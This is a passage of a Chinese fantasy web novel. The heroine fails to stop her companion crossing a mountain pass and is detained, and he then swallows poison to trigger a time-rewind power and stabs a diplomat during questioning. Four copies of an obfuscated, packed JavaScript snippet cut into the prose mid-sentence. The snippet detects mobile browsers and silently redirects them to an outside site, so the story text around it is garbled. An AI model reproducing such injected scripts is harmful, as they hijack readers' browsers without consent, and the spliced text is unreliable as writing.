原来这个人是来卖凭证的。董莉莉想道。她犹豫了一下,放弃了进一步了解的想法。现在,即便他们拿到凭证也没有用了,无论他们能不能找到杜光欧,都必须在这两天之内朝牧盟进发。马上就到约定的时间了,再不回去,董夜明就会按她说的那样,抛下白家的母子不管,亲自来找他们。所以,在董夜明动身之前,他们必须回暮落镇去。 似乎看出了她的犹豫,男人补充道:“请放心,这凭证是货真价实的。队里有很多商人都认识我,不放心的话你可以去问问他们。一般我不会卖凭证给别人,但是,刚才看到你的时候,我就知道你和普通人不一样。女士,你应该是哪里来的贵族吧,我看到你的服饰搭配、姿态举止和普通人不同。所以,我相信你能付得起我出的价格,否则,我不会来耽误彼此的时间。” 董莉莉没有低头看自己的服饰,她简略回忆了一番,也不记得自己怎么搭配过,一直在赶路,都是有什么穿什么。这一路走来,也没有多少人能一眼看出她举止的不同,因为,她从小不喜欢上那些贵族礼仪课,相较其他贵族小姐,可以说非常像普通人了。董莉莉不知道是自己身上哪点让对方觉得特殊,她也不感兴趣询问,只是礼貌地回答,“不了,先生,谢谢你的好意,但是我不需要它。” 男人问:“你有凭证了?” “我没有。”董莉莉道。 “那么,也就是说你并不打算穿过白鸣谷。”男人说。说完,他将那烫金镶边的小卡片塞回了衣襟里,“商品没必要卖给不需要它的人,既然女士没有这方面的需求,那么,我就不打扰了。” 说完,他非常礼貌地鞠了一躬,转身踏上了前往白鸣谷的道路。 董莉莉盯着男人的背影,看见他无视了一旁的长队,似乎有直奔关口而去的打算。董莉莉不禁疑惑,嘀咕道:“他不用排队的吗……” 她靠着山岩,滑坐在地上,一只手肘撑在自己的膝盖上,窗户般明亮的眼睛盯着来往的行人。 无论杜光欧通过什么方式过来,也差不多该是这个时间了。 “——莉——莉莉!” 起初,她隐约感觉有人在叫自己。认真辨析了片刻,她真的听到了呼唤的声音。 董莉莉猛地从地上站起来,朝音源看去。远处,葛马正在朝她跑过来,一只胳膊高抬,指着白鸣谷关口的方向。 “——前面!——关口!” 葛马在说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980719|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,但是董莉莉听不太清。队伍中人声嘈杂,狂风呼啸而过,这些纷扰的动静掩埋了葛马的声音。 董莉莉向他跑去,两人在队伍附近交汇。董莉莉只听葛马音色急迫,说道:“莉莉,我好像在前面看到贵人的身影了!” “前面!?”董莉莉重复道,“你是说你看见他在关口了?” “来!”葛马没多说什么,朝董莉莉一招手,两人迅速向关口靠拢。一边疾跑着,葛马一边说道,“我也不知道,我感觉像他,他马上就要入关了!” “怎么会,我们不是一直盯着队伍吗?”董莉莉难以置信地说。 “我也不知道是怎么回事!”葛马道。 他们两人来到了关口,只见那里有一个土石铸起的高台,台上有放哨的士兵,而想要通过白鸣谷的人们则在下方依次通过。关隘下有身着甾染军装的人把守着,还有另一部分人在尽责检阅所有通行者的凭证。 就在马上入关的队伍之中,董莉莉看到了那个熟悉的身影。 那是杜光欧,站在第二个位置上。那就是他们一直在寻找的人,那就是抛下了他们的人。男人身前的人检阅完毕之后,就该轮到他了。 “光欧!”董莉莉叫道,脚下不敢停歇。他们距离他还有一段距离,要在他入关之前赶上,必须要拼了命地跑。 一阵铁甲的撞击声,士兵们突然聚拢而来,上前拦住了两人,严阵以待,似乎是把他们当成了冲关的暴徒。 葛马被拦住之后,拼命地解释道:“等等,我们是来找人的,我们不通过白鸣谷!” 然而,士兵却没有让开的意思,“无论什么事情,保持秩序,去后方排队!” 葛马有些怒气,说道:“排什么!?我们要找的人就在眼前啊!” 董莉莉想绕路,却被士兵看破了动作。士兵一下子擒住她,不让她再向前,董莉莉只能扒着士兵的铁甲,朝那关口的人喊道:“光欧!!是我,我是董莉莉啊!你回头看看我!” 然而,那个熟悉的身影没有回头。 杜光欧身后站着一个高大的男人,董莉莉的呼唤没有让杜光欧回头,却使这个男人转过身来打量。视线相交,董莉莉一下子就认出来,那正是刚才询问她要不要买通行凭证的男人。 突然,董莉莉明白了什么。这个黑发浓眉的男人和杜光欧是一起的。刚才,这个男人来到她面前,向她兜售凭证,将她的视野挡得严严实实,那不是巧合,那是故意的营造,就是为了杜光欧在她视线的死角通过,接近关口。 “光欧!我有话对你说,不要走!!”董莉莉竭尽了全力喊道。 这时候,全队伍里的人都在看着她,奇怪地打量着她。唯有那个她最熟悉的人像是没有听到一般,专注地等待着士兵检阅他的凭证。队伍在往前行进,杜光欧紧接着递出了自己的凭证。官兵开始检阅他的文凭,确认无误,放他入关。 葛马见状,也是一个爆冲上前,可还是被铁甲影盔的士兵拦下,他只能声嘶力竭地喊:“贵人!你别走那么快啊,我们追了你一路了,和我们说说话吧!别就这么躲着我们啊,有什么事情我们一起解决,别一个人猛干啊!” 108. 刻意的交错7 葛马与董莉莉两人被士兵架了起来,面对训练有素的甾染士兵,他们没有丝毫挣脱的力量。只能被拖走,看着那个熟悉的背影渐远不归。 只是,在那最后的最后,在身影彻底消失在白鸣谷之前,杜光欧在那阴森的谷道间回过了头来。 他已经踏离南陆最后一片土地,与他们在关口遥遥相望。 也就只有在这时,在这一刻,当他们站在已经不能跨越的彼岸,杜光欧才第一次回望一直在追逐他的人们。他沉默地注视着,那注视有很多含义。 董莉莉想,她是明白的,她读得懂他的眼神。 他是在说,别过来。 他说,放弃我。 在士兵冰冷的铁甲之间,董莉莉被抬出去了很远。思念之人的身影逐渐缩小,他背过身离去,衣衫的一角是最后留下的画面。 与士兵僵持了短暂的瞬间,下一刻,一根紧绷的弦像是突然断了,董莉莉一下子放弃了挣扎,任甾染士兵挪动她,把她带到任何地方。她的头扬起,看着无云的天,它就如男人最后的眼神一般淡漠。 一阵天翻地覆的颠簸,天空在她的视野里消失了,紧随而至的是黑暗。一股干冷的气味传进鼻翼,有人把她扔了出去,她摔在一片并不坚硬的物体上,低头看去,那是一堆干草。 董莉莉从干草堆上直起身来,发觉自己身处一间木屋之中,葛马也在她的身边,他们被当成闹事者关押了起来。 葛马龇牙咧嘴从地上爬起来,似乎刚才被士兵摔得不轻,“哎呦……就不能轻点吗?我也没犯多大的罪吧!” 红发男人向董莉莉凑过来,审慎地环顾周围。这屋子里除了他们之外还有别人,都是些面相穷凶极恶的怪胎,恐怕都是因为冲关而被抓了起来。 “真是邪了门了,好好的干嘛抓我们……”葛马小声嘀咕道。 另一旁,董莉莉将身体蜷缩了起来,她的身体在颤抖,她感觉到冷。并不是因为此刻的境遇,而是因为别的一些什么。之前一直没有这种感觉,前一阵她还沉浸在寻找杜光欧的目标之中,感受不到外界的冷暖。 现在,她知道,她失败了。当看到杜光欧最后的眼神时,她才意识到,他的决定是如何的决绝。 深刻地得知无法挽回时,她只觉得整个世界仿佛都在变形,朝自己挤压过来。 这时候,突然有一件温暖的外衣披在了她的身上,她抬起头来,收获到了葛马关心的注视。 “莉莉,没关系。起码,我们知道他往摄文去了。等回到了牧盟,我会再想办法……” 这是葛马在安慰她,董莉莉知道。她想说,她还不必受到谁人的安慰,他们现在都不好受。但是,一种压抑的情绪让她张不开口,她仿佛被什么击倒了,丧失了浑身的力气,也丢失了勇气。 “葛马,谢谢你。但是,让我一个人待会。”董莉莉道。 “好……好。”葛马十分配合地坐在一旁,不再打扰董莉莉。 这木屋里有许多不甘心的人,他们或想要穿越白鸣谷,被士兵扣押,或伪造凭证,被官兵发现。他们在这里等待着对自己的宣判,宛如一潭死水,失去了活力的象征。 而董莉莉就身处这样的人之中,她感觉自己似乎也受到了一些环境的影响,那些人的气压太低沉,太绝望,闹得她迟迟也不能从低压的情绪中解脱出来。 身体还是很冷,即使有了葛马的外套,还是很冷。 这里靠近白鸣谷,也靠近横古山脉,从那高山上倾落的阵阵寒流,将山脚下的气温近一步冲刷得更低。 这样冰天雪地的环境中,人们总是愁眉苦脸。对于底层人们来说,只是活下去,就已经花费了太多的心力。 董莉莉不似其他贵族那样,从小就待在自己家园圃的一亩三分地里。那些娇生惯养的小姐对外界的苦寒一无所知,她们不知道气温在逐年地降低,她们不知道,她们富足的生活之所以没有被扰乱,是因为人们已经负担不起战争的开销,所以,战火不会降临她们的宅邸。她们也不知道,她们所拥有的荣华,正在一日日消弭。等到这整个世界都无法抗衡寒冬的时候,等到这天地之间再不适合任何人生存的时候,那温暖的庭园里,也不会有她们的一席之地。 董莉莉不然,她常年游离在外,她看得清,摸得着,听得清楚。 那西陆来的寒风,有灭绝他们的架势。那些来自深海的悲鸣,诉说着冰层的永冻。 无尽的寒夜正在朝他们袭来,这是远征队员们一致得出的结论。 他们是多么想告诉所有人,世人需要万众一心,才有可能抵抗这永不会离去的寒冬。然而,事与愿违,她的伙伴们在那最后的远征中身陨,那些对这个残酷的世界有着真正理解的人们,已经不在这个世上。而她仅剩的同伴,她最信任的人,此刻又深陷另一片泥沼。 董莉莉总是觉得,有什么在向他们袭来,向整片大地的人袭来。 起初,是与日骤降的寒冷,而后,是较小鼠类的灭绝。飞鸟在天空盘桓,它们不再诞下能够通往明年的生命。 生物总是快一步对环境做出反应,这种种自发性的种族灭绝,代表着末日的来临。或者,它起码是物种认为的末日。 但是,人类一无所知,他们用火焰延续温暖,用房屋构建生命的温床,那些威胁似乎离他们远去。而活在那温暖庭院最中心的人,以为所有的昌盛都将继续下去,永不衰退。 董莉莉看到的是完全不同的景象,她看到资源的匮乏,世界的凝滞。当厚雪积压在这大地的每一片角落,聚落之间也将不再有通行的雪橇或马车。这寒冷会一直蔓延到远东的大海,将一切文明掩埋在寒冰之下。 或许,这就是两百年前大寒潮降临后的最终结果。 他们只是在这个狭小的缝隙之间偶然降生,短暂地存在。其生命没有延续的可能,也没有存在的意义。 不知为何,董莉莉总是会这么想。如果不解决严寒的威胁,那么,早晚有一天,世界都会归于沉寂。 “葛马,你看过这样一本书吗?”董莉莉突然开口道,她并不在乎是否收到了对方的回复,事实上,她的目光很远,根本看不到近前的人,“那是一本名叫海洋女神的书,里面有很多插图,画着我们谁都没见过的景色。” 葛马疑惑,说道:“没见过的景色?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993594|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “瀑布、稻田、绿野、花圃、雨林。他们用这些名词去命名它们。”董莉莉道。 “你说的,听起来像是有关大寒潮之前的历史书。”葛马道。 “历史书上很少见到图片,只有文字,而且,简短,不知所云。”董莉莉道,“但是,光欧有着这样一本书,我不知道那书上的图案是人画的,还是通过什么方式记录。那看上去像是我们的世界,但是,我从来没有见过那里面的奇观。” “贵人的书?”葛马道。 “嗯。便是因为这本书,他踏上了远征的道路。”董莉莉说,“我们离开家,奔赴远海,想要找到哪怕一个与那书本上对应着的地方,可是,这么多年,没有一点收获。” “……我还以为,贵人身为远征军首领,只是他职责上的义务。”葛马道。 “有一些义务的成分在里面,他毕竟是血皑的王室,理应为家里分担。所以,我们会想办法打通贸易路线,也会去探访其他文明。但是,我们最想要的,其实只是寻找一个可能性。” “什么可能性?”葛马凑了过来,认真地聆听着她的话语。她低迷久了,葛马似乎一直在担心。现在,她有了愿意说话的念头,葛马似乎无论如何都要保持住与她的对话,不管他们的交流是否无序混乱,没有意义。 “我听说……书上的那个海洋女神能实现人们的心愿。”董莉莉道。 葛马没有质疑董莉莉话语的真实性,只是问道:“你和贵人的心愿是?” “他最初有别的想法,但我想,在一次次的远征后,他的想法已然改变了。现在,我们只想要请求那善解人意的神明,让寒冬离开这片大地。即便——即便光欧大概还挺喜欢冬天的。” 葛马不知为何,突然沉默了半晌,而后,他道:“海洋女神……你们认为世界上存在这种神明?” 董莉莉的眼睛清明了一瞬,而后,痛苦地闭上。像是从一个美好的梦里醒来,梦碎了,她看到了现实的无奈,“不,没有神明,只有我们自己。” 葛马在董莉莉一边坐下来,低着脑袋,拨弄一根不屈的稻草,沉思着。这和他平日里聒噪的性格大相径庭,像是变了一个人似的,“这个海洋女神,她有画像吗?” 董莉莉回忆一番,说:“我记得封面上有一个模糊的背影,她坐在礁石上,遥望着大海。她的头发是红色的,随着海风飘扬,头顶戴着一朵白色的花,身边的泥土里好像还插着一把剑。” “啊。”葛马像是想到了什么一般,发出单调的音节。 “怎么了?”董莉莉问他。 “不,没什么……”葛马的眼神有些闪躲,但是,能从他绿色的眸子中看出,他有一丝胆怯,似乎在害怕些什么,不敢和董莉莉视线相交。他抓乱了自己的头发,又显得有些心烦意乱,挑起了另一个话题,“莉莉,如果你休息好了,我们就离开这里,回牧盟去。你妹妹应该已经等急了。” 董莉莉没有追问葛马,即便,他岔开话题的模样疑点重重。而且……红发。葛马也是红发,那本书上的女人可能和葛马来自同一个地方,或许他们都属于那个消失在了叱云颠上的西索人。 109. 试探1 不过,看葛马的样子,他似乎不愿多说,那么她也不会多问。 “就算你这么说,甾染的官兵也不会轻易让我们走吧。”董莉莉说,“这间木屋外面还有人把守着呢。” 葛马撸胳膊挽袖子站了起来,“让我去会会他们!” “等等,葛马……” 葛马刚站起来,就有一个官兵走了进来,那人五大三粗,横向大概有两个葛马那么宽。红发男人突然像是泄了气一般,又坐下来,拨弄着他的靴子,“这臭皮靴,一点也不跟脚,害得我都走不了路了!” 门口的官兵扫视了一圈,声音威严,说道:“都出来。” 屋子里的人接连站了起来,按那官兵的吩咐去做。葛马和董莉莉也随着人群走了出去。门外,雪地上停着辆破旧的敞篷拉车,两头年迈的老鹿在前面牵着,似乎疲惫不堪。 听说,驯鹿在甾染的地位极其低下,尤其是在内承燕无大批量向牧盟进口良马之后。在这座城池里,驯鹿作为交通工具的使用场景少之又少,它们大多在餐桌上,或者人们的身上。 这一批肇事者离开木屋,又在几个官兵的压制下,依次上了那辆破败不堪的木车。 人群中,一个年轻男人问道:“这是要把我们送到哪里去啊,官兵老爷。” 官兵没什么架子,也似乎没什么脾气,只是公事公办地说道:“离这里很远的地方。” “兵老爷,我的家在甾染呀。”那年轻人道。 官兵:“那你问问自己,为什么想用假凭证逃到北地去。你们逃过去,那帮摄文的狗贼又要叽叽喳喳地抱怨我们看守不周。我们没有将你们关进牢里,已经算善待你们了。” 董莉莉上了车,被挤在角落,她蜷缩起身体。片刻不久,一阵低沉的响动响起,车板上的石子都在震颤,像是地震,但有有些不一样。她仔细辨认了片刻,然而,还没等她得出结论,就听一旁的官兵大声说道:“大军将至,迅速带这些人离开,让出道路!通知关口,解散队伍,疏散人群!” 木车驱动起来,往远离白鸣谷的方向驶去。四五个骑兵看守在他们周围,防止有人逃跑。 那低沉的响动越来越近,终于,董莉莉听明白了,那是无数铁蹄在地面行进的声音。 渐渐地,一只大军出现在了他们的眼前。乌泱泱的军队向山谷的方向而来,气势浩大磅礴。 通往白鸣谷的道路十分狭窄,骑兵们带他们驱车停靠,在一旁让路等待。 车上,一个老人感慨道:“战争要打响了啊……” 另一旁,有个男人忿忿不平,“靠!我就知道要出大事,想去摄文躲躲,结果关口查的那么严,这下好了,咱们都不用回甾染了,那里不过多久就会变成一片火海!” 一旁,一个留着利落短发的女人说道:“甾染哪有那么容易陷落,你是外地人吧?” 那火气大的男人似乎被刺激到了,声音更大,“说谁是外地人呢?老子从小就在甾染的农地里长大,这城池有一丝不对劲的地方,我都嗅得出来!” 干练的女人也不服气,“昨天刚举行完阅兵仪式,难道你是没参与吗?但凡参与过的人,就知道甾染的军事力量有多强大。摄文又怎么了,雷声大雨点小,这么多年,也没见他们能把我们怎么样。” 男人不依不饶,“你有本事就留在甾染别走,跟老子比比谁命长。不过,结果你估计是没法知道了。你要是肯现在求我,我会考虑回来给你收个全尸。” 另一边,老者加入了聊天,“两位这是认识吧?” “我不认识这个疯婆子。”火气大的男人说。 “我也不认识这个胆小的废物。”干练的女人说道。 “果然认识啊……” 葛马和董莉莉无声的盯着他们,说实话,甾染的战事和他们并没有多大的关系。他们马上就要离开这里,最终要回到牧盟去,远离这片战场。无论官兵要把他们押送到哪里,反正他们身上还带着钱财,实在不行就暗中通融一番,而且看这些甾染的官兵对待这些冲关者也不是那么严苛。 在等待的过程中,军队离他们越来越近。押送他们的官兵离开了原地,朝那大军的头部走去,跟上先行部队的脚步,和那最前面的人汇报了些什么,而后驱马赶了回来。 大军之首,是一个骑着战马的男人。他年纪轻轻,身形高大,带着高翎甲胄,一骑当先。 葛马用胳膊肘碰了董莉莉一下,朝那里扬了扬脑袋。 董莉莉顺着他的视线望过去,远远地,她看到了那个见面不过几次的甾染内承。 “亲自带兵……?”董莉莉有些迟疑地小声说道。这和血皑的风气并不一样,在她的印象里,带兵出征这种事,都是留给他将军的职责,而城主或副城主之类的上位者只需要在城里坐镇。 葛马凑近董莉莉,在她耳旁小声问:“你觉得他们能行吗?” 董莉莉也小声回答他,“你指什么?” “对抗黎礼。你觉得,以现在见到的这些兵力,还有阅兵仪式上见到的那些,你觉得,甾染是黎军的对手吗?”葛马问。 董莉莉又看向那浩浩荡荡的军队,它行军良久却依然不见尾,每个士兵都穿着厚重的衣装,仿佛严寒也丝毫不能奈何他们。她想了想,说道:“我不好说。甾染虽然有着精兵良将,但是,黎礼……她掌握着那种武器。” “果然还是会输的,对吧。这整个南陆,我不觉得能有什么人是黎军的对手。”葛马道。 一旁,士兵点醒他们,道:“你们两人嘀嘀咕咕说什么呢。” 葛马清了清嗓子,打哈哈说:“没什么,我们只是在感叹这么多士兵,真壮观啊。” 士兵盯了葛马一阵子,没再说什么,只是道:“保持肃静。” 大军经过了这个狭窄的地段,没有继续往关口行进,而是在山谷下左转,朝西边而去。整只军队声势浩大,马蹄声络绎不绝,不禁让人怀疑白鸣谷的另一端是否也能听到这滔天的响声。 但是,后面会发生什么已经不得而知了。这伙临时的囚犯又踏上了路程,往远离白鸣谷和甾染的方向离去。而董莉莉和葛马也将在未来某天回到牧盟。 寻找故人的征程花去了一个多月的时间。虽然不能说一无所获,但他们的确没有带那个抛弃他们的人回来。 这次寻人之旅,就在这战乱的马蹄声中结束了。 ## 震天的响声传到了白鸣谷,那低沉不绝的马蹄声沿着狭窄的谷道进入了通行的人群耳中。 杜光欧停下了脚步,朝身后望去。他后面是一个个面色凝重、低头前行的人们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008793|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们似乎也知道战争即将打响,为了自身的安危,正在拼了命地往前走,仿佛那前面就有他们想要的美好生活,能让他们躲避战乱,享有难能可贵的安稳时光。 这些人之中,有多少人的牵挂还在白鸣谷的南侧,杜光欧不得而知。他只知道,自己是有所牵挂的一员。只是,他与其他人不同,他所牵挂之人,却是不能与其团聚之人。这一切,都要归咎于他那似乎是与生俱来的能力。 一旁,同行的男人见他驻足,也停下了脚步,“怎么了?” 杜光欧转过头来,盯着对方。 朝他问话的人是燕戎真,当今甾染武王的二子。 之所以他们两个人会在一起,说来话长。 总而言之,是燕戎真先找到了他,介绍自己是往返于南北两陆的外交官,和北地摄文王姜昆维的交情颇深。他有能力向摄文王引荐杜光欧,对于杜光欧所谋求的正义,摄文王听了也一定能予以实现。就是因为这样,才有了现在这一幕。 杜光欧没有诉说内心真实的想法,只是毫无意义地描述着当下发生的事件,“甾染的军队似乎已经抵达白鸣谷了。” 燕戎真也朝他们远去的方向看了一眼,眼神中有些嘲弄的意味,道:“四弟愚蠢,看不清局势,不愿助你一臂之力,这是他自取灭亡。” 杜光欧没有回话,他对燕戎真没有多少信任可言。只是,自己已经在甾染碰壁,武王燕雁在昨日的争吵后昏迷不醒,唯一有意出手相助的人已经倒下了。况且,他也了解到,现在甾染的兵权基本掌握在燕无的手中。而对于那个年轻的武王四子,杜光欧基本可以断定,对方没有丝毫伸出援手的打算。 最重要的是,这些天,杜光欧也了解到了甾染的军事实力,他认为它不具备和黎军抗衡的实力。说到底,是他自己放弃了这座城池的援助。 最后在那间会客室会面时,他没有告诉燕无,如果黎军北上,甾染将面对什么。 就像当时在挚忘峡的琉城那时,那个名叫夏未信的、似乎知晓一切的女人也没有将真相告诉他一般。他们的隐瞒有同样的理由,因为没必要伸出援手,仅此而已。 即便他和燕无的父辈曾是朋友,他们的母亲也同被黎礼杀害。但是,只有同样经历过灭亡的残局,他们才有可能理解彼此。 在将来某一天,或许,自己会再度请求和甾染的内承联手。但那个时候,他希望他们已经感同身受。即为,燕无也一度被黎礼夺去了珍视之物,他们才有可能抱有相同的恨,才能真正站在同一条复仇的道路上。 燕戎真在一旁感慨道:“如果血皑的形势当真如你所说,已经被那个名叫黎礼的女人篡权,那么,甾染如果不把血皑先稳住的话,只会让自己腹背受敌。燕无选错了方向,他会为此付出代价。” “同时,他也会获得新生。”杜光欧如此说道,或许在旁人看来像是在自言自语。他话语里没有感情,游离与凡世之外,冷淡地看着这一切,轻飘飘地点评着。 燕戎真沉浸在自己的话题中,继续说道:“血皑易主的消息必须传达给摄文王,南陆的动乱不可小觑,它会打破横古山脉南北两地持续了几十年的和平。” “你……”杜光欧盯着男人,与他再度并排走向白鸣谷北端的出口,“你是摄文的人,还是甾染的人,燕戎真?” 110. 试探2 “我是外交人员,挂名在甾染。但是,我并不属于那里。”燕戎真道,“我知道你对我还有所顾虑,但相信我,我做的一切都是为了三地的和平,我不希望见到没有意义的战争。如果协助你回血皑称王就能够稳住南北两地的和平,那么,我必然会帮助你。我想,摄文王也会和我是一样的想法。那是一位伟大的王,他的理想十分崇高。相信我,他会理解你的困境。王也对漫无目的战争不感兴趣。” 杜光欧不置可否。他没有见过姜昆维这个人,任何有关这个人的评价,都要等当真见到了本人才能下定论。 两人来到的谷道的末尾,这条路着实很长,难怪南北两地谁也无法攻破彼此。两面山壁之间过于狭隘,如果不是人为拓宽过,恐怕连商用的马车都无法通行。 白鸣谷的北侧是摄文的哨岗,临近了,通行者纷纷拿出自己的凭证,接受又一次的查阅。获得了允许之后,才能真正意义上地踏入北地。 燕戎真前来的时候,摄文官兵似乎认出了他来,主动从座位上站起来,朝他敬礼,“外交官阁下,许久不见。可是有事务求见摄文王?需要为您配备马车吗?” 燕戎真说道:“配一辆吧,有贵客。” 那官兵看了杜光欧一眼,也朝他行礼,“是。” 两人没有拿出通行凭证,就那么被官兵放进了北地。他们就在大道旁边暂歇,等一辆马车来把他们接走。 杜光欧环顾左右,他在石壁之间望见了一个隐蔽的角落。心里想着,如果去那里的话,无论做什么,大概也不会被周围的士兵觉察。他有了个想法,回过头来,对燕戎真道:“我还有一件事情需要确认,稍微同我过来一下吧。” 杜光欧转身朝那隐蔽之处走去,余光当中,他看到燕戎真的身影有些犹豫。 “车来了就在这里等我们。”燕戎真朝士兵官兵嘱咐道。说完,他还是跟了上来。 两人来到了视线的死角,这是一个天然的山壁凹槽,里面放着一些杂乱的物件。把守白鸣谷的官兵似乎把这里当成了储物地,山壁旁摆放着许多木箱和土罐子,里面装着食物或用品。 燕戎真朝他问道:“要来这么隐蔽的地方,是有什么不能让摄文官兵听见的事情要商量?” 杜光欧朝他衣服内袋摸去,他摸到了一个木匣子,它很小,可以用手掌完全地包裹起来。他把它拿出来,打开它,里面放着一个白色的扁圆药丸,他把药丸拿在手里,而后朝燕戎真回答道:“是不能让你我以外的人知道的事。” 说完这句话,他就沉默了,盯着那粒药丸,不再开口。 燕戎真似乎是觉得有些奇怪,忍不住问道:“你在做什么?” “我在等。”杜光欧道。 “等什么?” “我在计算时间检查点,稍等。”杜光欧礼貌地说道。 像是听到到了不熟悉的概念,燕戎真的表情有一丝迷茫,“时间什么?” “差不多了。”说罢,杜光欧把那个药片吞了下去。它没什么味道,顺着食道滑了下去。 “……你身体不好?”燕戎真看到他的举动,问道。 “不是。”杜光欧回答。 “我以为你在吃药。”燕戎真道。 “是药。但是是毒药。”他说。 燕戎真停顿了半晌,似乎完全不理解杜光欧的举动,皱着眉头,谨慎地打量着他。 “好了……”杜光欧呼出一口气,紧接着,他后退几步,堵死了燕戎真的去路。他摸向自己的身侧,将佩剑拔了出来。那剑银光一闪,直指对面的人,“从现在开始,让我们说些真话。” 燕戎真瞪大了眼睛,但是,他似乎在克制,好让自己镇定地立在原地,不因为对方的拔剑而惊慌,“……什么意思?” 他想做什么,当然是一些见不得人的事。 在甾染买了这慢性的毒药,是为了验证之前的想法。既然他已经和这害人的能力无法分开,那么,不妨让他多利用它一些。与其一而再再而三被它牵着鼻子走,不如掌握如何主动去使用它。 吞下毒药后,指针便开始转动了,那是他死亡的倒计时。而在这段时间当中发生的任何事,都不会被真实的历史记录下来。回溯力发动,会将他带回到吞下毒药之前。这个方法他已经试过了很多次,万无一失。 也就是说,在这个他已经吞下毒药的当下,他可以做任何他想做的事,做一些一般人不会做的事情,做一些不可挽回的事。反正他可以不计后果。 而只有越激进的、越残忍的行为,才越能为他带来想要的真相。 杜光欧一脸阴霾,朝燕戎真道:“我不信任你。我会在这里杀死你。” 燕戎真的脸色很难看,面部绷得很紧。显然,他没有把杜光欧的话当成是玩笑话,也许男人天生就是一个不爱开玩笑的人,所以此刻,他当真认为杜光欧会将他的头颅斩落在这荒无人烟之地。 燕家二子立在原地不敢妄动,他谨慎地说道:“因为你已经从我这里拿到了白鸣谷的通行凭证,所以,我对你已经没有用了吗?” 杜光欧的态度非常随意,“算是吧。” 燕戎真争取说:“你需要我将你引荐给姜昆维。” “我有其他办法。”杜光欧斩钉截铁地道。其实,他什么办法也没有,如果能证明燕戎真这个人没有歹意,或者他的真实意图和自己并不冲突,那么,杜光欧依然需要仰仗他把自己引荐给姜昆维。 “我对你没有恶意,你没必要这么做。”燕戎真说道,为自己的性命据理力争,“我不会做任何威胁你的事,你的目的是回去扳倒黎礼,我——” “你作为外交官,虽然经常往血皑跑,可我从来没见过你。你不是去见我父亲,不是吗?你是去见黎礼。”杜光欧说道,这只是他随便栽赃的罪名,实际如何,他也不知道,他只是想听听这个名叫燕戎真的男人会如何回答他。 燕戎真的脸色变化得很快,在死亡的威胁面前,没有人能够镇定,即使是一个见过了市面的外交人员也不例外,“什么……见黎礼?不是,我从来不是为了去见她。我和她没有任何勾结……” 杜光欧抬了抬手中的凶器,说道:“说下去,难不成要我的剑问你。” 燕戎真看了那把剑一眼,似乎是在权衡着什么。 杜光欧打量着他,这个燕家男人很高,可身形却偏瘦弱,和他那做内承的四弟燕无完全不同。男人穿着不便打斗的长袍,是个文职人员,这点毋庸置疑。杜光欧把他引入了这个无人的角落,即使燕戎真大声呼救,也会是他的剑更快一步。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025897|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >燕戎真闭上了眼睛,似乎认了命一般,说道:“我父王燕雁不允许我去血皑。每次前去,我都必须隐蔽自己的行踪,你没见过我也是自然。我早就听说老城主深陷复权派的泥沼,这次回甾染,也是想请父王出兵帮助杜义。而后,你告诉了我血皑城之中的变动,没想到,还是复权派棋快一招。” 杜光欧盯着他看了一阵,道:“你在说谎。” 他说罢,举着自己的剑,向燕戎真逼近,“实话告诉我,或许我会饶你一命。你若是再敢对我有所隐瞒,就别见明天的太阳了。” 说实话,他并不知道燕戎真是否对他有所欺瞒。最好的欺骗者,往往都会树立自己弱势或伟大的假象,但是,眼前的人不像是那些欺骗者的一员。杜光欧无法做出判断,不过,在他有一丝怀疑存在的时候,哪怕只有一点点,他都无法交托出一丝一毫的信任。 燕戎真连连后退,声音愈发增大,“我没有一句谎话!句句属实!你——” 噗嗤。 燕戎真的话没有说完,他低下头去,看到一把剑插在自己的肩膀。疼痛让他的表情扭曲,但是,脸上更多的是难以置信。仿佛他无法相信,杜光欧居然真的这么直接、又这么快地就对他动手了。 杜光欧抽剑,冷漠地说:“下一次是心脏。” 燕戎真佝偻着上身,脸色发青,有些无法控制地往后退去,咚的一声,身体撞在一旁的木箱子上,他捂着自己肩膀的伤口,狼狈地挂在那上面。 